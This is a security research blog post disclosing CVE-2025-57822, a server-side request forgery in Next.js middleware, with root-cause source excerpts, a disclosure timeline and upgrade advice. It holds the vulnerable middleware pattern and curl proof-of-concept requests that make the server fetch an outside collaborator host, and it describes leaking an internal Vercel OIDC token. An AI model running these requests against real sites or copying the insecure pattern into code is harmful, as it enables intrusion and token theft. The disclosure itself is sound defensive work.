Next.js and the Mutated Middleware

Next.js and the Mutated Middleware

Dominik Prodinger
Dominik Prodinger

Imagine you are in the middle of a web security assessment and you discover a Server-Side Request Forgery (SSRF) primitive — but not just any primitive, a mighty one. It lets you control the HTTP request method, set arbitrary headers, and observe full responses. Well, this was exactly the situation we encountered during a routine web application audit earlier this year.

In this post, we’ll examine a flaw — now known as CVE-2025-57822 — in the widely used Next.js framework, which at the time of writing has 15.8 million weekly downloads. We’ll elaborate on how we discovered the vulnerability, explore its root cause, and discuss the resulting security impact. Let’s dive in.

Mutated Middleware Headers (CVE-2025-57822)

Our target application, at the time, was running the latest Next.js release and appeared to follow most best practices — so initially we assumed we might be out of luck. However, while inspecting the middleware configuration, we noticed a special case for requests that begin with a particular path. The middleware in question resembled the example shown below.

export function middleware(request: NextRequest) {
  if (request.nextUrl.pathname === '/poc') {
    return NextResponse.next({ headers: request.headers })
  }

  // Additional middleware logic...
}

And sure enough, when we accessed that path, the response looked odd. It had four X-Forwarded-* headers that none of the other responses showed. Even more surprising, the response reflected the exact User-Agent header we had sent.

curl -I  http://localhost:3000/poc
HTTP/1.1 200 OK
accept: */*
host: localhost:3000
user-agent: curl/8.7.1
x-forwarded-for: ::1
x-forwarded-host: localhost:3000
x-forwarded-port: 3000
x-forwarded-proto: http
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8

Naturally, we experimented by sending various headers and checking whether they were reflected in responses. To our surprise, almost every header we included in the request was returned in the server’s response. Out of curiosity, we injected a Location: https://example.com header; when we inspected the response body, we could not believe what we saw — the Next.js application fetched https://example.com and returned the resulting page. Repeating the request with a collaborator URL resulted in a hit, confirming the SSRF.

curl -iH 'Location: https://ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com' http://localhost:3000/poc
HTTP/1.1 200 OK
accept: */*
host: localhost:3000
location: https://ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com/
user-agent: curl/8.7.1
x-forwarded-for: ::1
x-forwarded-host: localhost:3000
x-forwarded-port: 3000
x-forwarded-proto: http
server: Burp Collaborator https://burpcollaborator.net/
x-collaborator-version: 4
content-type: text/html
content-length: 84

<html><body>gr1i[...]gigz</body></html>

The request, collaborator received:

GET / HTTP/1.1
x-forwarded-for: ::1
x-forwarded-proto: http
x-forwarded-port: 3000
x-forwarded-host: localhost:3000
location: https://ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com
accept: */*
user-agent: curl/8.7.1
host: ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com
connection: close

Digging deeper, we found that we could even control the HTTP method of the forged request by altering the request method sent to the vulnerable endpoint. In short, we had an SSRF primitive that provided full control over the HTTP method, the complete URL, and headers.

curl -i -X POST \
    -H 'Location: https://ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com' \
    -H 'X-Custom: What in the Vercel is going on??' \
    http://localhost:3000/poc
HTTP/1.1 200 OK
[...]

The request, collaborator received:

POST / HTTP/1.1
x-forwarded-for: ::1
x-forwarded-proto: http
x-forwarded-port: 3000
x-forwarded-host: localhost:3000
x-custom: What in the Vercel is going on??
location: https://ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com
accept: */*
user-agent: curl/8.7.1
host: ds91rahlbp9ty1ip2iv85xzdy44vslga.oastify.com
connection: close
Content-Length: 0

Root Cause Analysis

How is this possible? To find out, we had to dig through the Next.js source code, but first, recall the middleware example we began with — it’s the origin of all evil:

return NextResponse.next({ headers: request.headers })

Looking at the implementation of NextResponse.next, we see it accepts an optional init parameter of type MiddlewareResponseInit. Moreover, that interface exposes a request property (ModifiedRequest), which itself contains a headers property.

export class NextResponse<Body = unknown> extends Response {

  [...]

  static next(init?: MiddlewareResponseInit) {
    const headers = new Headers(init?.headers)
    headers.set('x-middleware-next', '1')

    handleMiddlewareField(init, headers)
    return new NextResponse(null, { ...init, headers })
  }
}

[...]

interface ModifiedRequest {
  /**
   * If this is set, the request headers will be overridden with this value.
   */
  headers?: Headers
}

interface MiddlewareResponseInit extends globalThis.ResponseInit {
  /**
   * These fields will override the request from clients.
   */
  request?: ModifiedRequest
}

And here’s the catch: if a developer passes user-controlled HTTP headers to init.headers (the middleware headers) instead of to init.request.headers, those headers will be treated differently by Next.js, facilitating the SSRF. We refer to this as Next.js header mutation, and the following example highlights the difference between the vulnerable and secure pattern, respectively:

NextResponse.next({           // init
  headers: request.headers    // init.headers
})
NextResponse.next({            // init
  request: {                   // init.request
    headers: request.headers   // init.request.headers
  }
})

Continuing through the routing pipeline, the handleRoute function checks the middleware headers we mutated. If it encounters a Location header, it parses the URL from that header’s value and returns it along with finished: true, marking the request as complete.

export function getResolveRoutes(
  async function resolveRoutes({
    async function handleRoute(

        [...]

        if (middlewareHeaders['location']) {
          const value = middlewareHeaders['location'] as string
          const rel = getRelativeURL(value, initUrl)
          resHeaders['location'] = rel
          parsedUrl = url.parse(rel, true)

          return {
            parsedUrl,
            resHeaders,
            finished: true,
            statusCode: middlewareRes.status,
          }
        }

[...]

Eventually, the request handler verifies whether the request has been marked as complete and whether parsedUrl contains a valid scheme. If both conditions are met, it internally proxies the URL and returns the fetched response to the client.

export async function initialize(opts: {
  const requestHandlerImpl: WorkerRequestHandler = async (req, res) => {
    const handleRequest = async (handleIndex: number) => {

      [...]

      if (finished && parsedUrl.protocol) {
        return await proxyRequest(
          req,
          res,
          parsedUrl,
          undefined,
          getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
          config.experimental.proxyTimeout
        )
      }

[...]

What’s Beyond SSRF?

Now that we understand the ins and outs of the vulnerability, how impactful is it really? The answer is: very. Besides the obvious SSRF exploitation leading to privilege escalation in the cloud, interaction with private services, etc., this vulnerability has some more things to offer. For example, we can perform cache poisoning attacks on a vulnerable site behind a reverse proxy that’s also caching responses. We found several instances where this scenario was possible, allowing for large-scale exploitation of the affected websites or defacement campaigns.

Additionally, because this vulnerability exposes all request headers, including the ones added by intermediate servers that are typically stripped again when the response is sent downstream to the client, we were able to leak the internal x-vercel-oidc-token header, containing the OIDC token of the affected website hosted on Vercel.

curl -I https://example.com/sign-in
HTTP/2 200
[...]
server: Vercel
strict-transport-security: max-age=63072000
user-agent: curl/8.7.1
x-forwarded-for: [REDACTED]
x-forwarded-host: example.com
x-forwarded-proto: https
x-matched-path: /sign-in
x-powered-by: Next.js
x-real-ip: [REDACTED]
x-vercel-cache: MISS
x-vercel-deployment-url: [REDACTED]
x-vercel-ip-city: Vienna
x-vercel-ip-continent: EU
x-vercel-ip-country: AT
x-vercel-ip-timezone: Europe/Vienna
x-vercel-oidc-token: eyJraWQiOi[REDACTED]
x-vercel-proxied-for: [REDACTED]

Observing (and Disclosing) Mutations in the Wild

Unfortunately, the disclosure process for this vulnerability was not as smooth as we’d originally hoped for. Vercel — the company behind Next.js — did not consider this a security vulnerability when we reported the flaw in late February 2025. Instead, they claimed that exploiting this misconfiguration requires an attacker to already have control over a victim’s device, to then inject malicious headers in HTTP requests. We tried to clarify this confusion and explained the potential impact of this vulnerability, but to no avail.

Defeated, we took matters into our own hands and, over the course of five months, repeatedly queried Shodan.io with the aim of disclosing the vulnerability to affected parties. Between March 2025 and July 2025, we accumulated over 5,000 potentially vulnerable domains and IP addresses.

For the disclosure, we prioritized organizations that published security.txt files or vulnerability disclosure policies. The majority of affected sites, however, did not have any of those mechanisms in place, meaning we had to walk the cumbersome path of collecting contact email addresses to inform these parties.

Six months after our initial disclosure, Nicolas Lamoureux convinced Vercel to address this issue, resulting in a fix of the root cause and the assignment of CVE-2025-57822. Further, the official documentation for NextResponse.next has been updated to advise against the insecure usage of request headers in Next.js middleware.

  • 02/21/2025 - We reported the vulnerability to Vercel (GHSA-9h38-h3w4-jm74)
  • 02/28/2025 - We sent a follow-up email to responsible.disclosure@vercel.com
  • 03/05/2025 - Vercel closed GHSA-9h38-h3w4-jm74 as not framework specific
  • 07/18/2025 - We sent large-scale disclosure notifications to affected organizations
  • 08/29/2025 - Vercel published CVE-2025-57822, addressing this vulnerability

Mitigation Advice

The definitive mitigation strategy for this vulnerability is to upgrade to Next.js v14.2.32 or Next.js v15.4.7. Additionally, we recommend eliminating the vulnerable code pattern from the middleware. For more information on how to use NextResponse.next correctly, refer to the Next.js documentation.

Acknowledgements

We want to acknowledge @0xblackbird, who was among the recipients of our vulnerability disclosure, resulting in them creating a CTF challenge in cooperation with Intigriti, spreading awareness about this flaw within the security and developer community.

Additionally, we want to thank @zhero___ for their excellent research on Next.js and the inspiration for this blog post’s title!

We also extend our thanks to Aaron Brown and Zack Tanner from Vercel for their support and facilitation throughout this disclosure process.